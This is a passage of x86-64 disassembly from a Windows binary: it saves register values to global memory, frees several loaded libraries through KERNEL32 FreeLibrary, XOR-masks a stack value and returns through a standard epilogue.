mov rdi, qword [rsp + 0x68]
mov qword [0x1401dd328], rdi
mov rdi, qword [rsp + 0x70]
mov qword [0x1401dd330], rdi
mov rdi, qword [rsp + 0x78]
mov qword [0x1401dd338], rdi
mov rdi, qword [rbp - 0x80]
mov qword [0x1401dd340], rdi
mov rdi, qword [rbp - 0x78]
mov qword [0x1401dd348], rdi
mov qword [0x1401dd350], rbx
mov qword [0x1401dd358], r11
mov qword [0x1401dd360], r10
mov qword [0x1401dd368], r9
mov qword [0x1401dd370], r8
mov qword [0x1401dd378], rcx
mov qword [0x1401dd380], rdx
mov qword [0x1401dd388], r13
mov qword [0x1401dd390], r12
mov qword [0x1401dd398], r15
mov qword [0x1401dd3a0], r14
mov qword [0x1401dd3a8], rsi
mov qword [0x1401dd3b0], rax
mov rcx, qword [rbp + 0x410]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x408]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rbp + 0x418]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
mov rcx, qword [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_FreeLibrary]
nop
mov rax, qword [rbp + 0x400]
movabs rcx, 0xff00ff00ff00ff00
xor rax, rcx
lea rcx, [rbp + 0x3f8]
mov qword [rcx], rax
add rsp, 0x4b8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret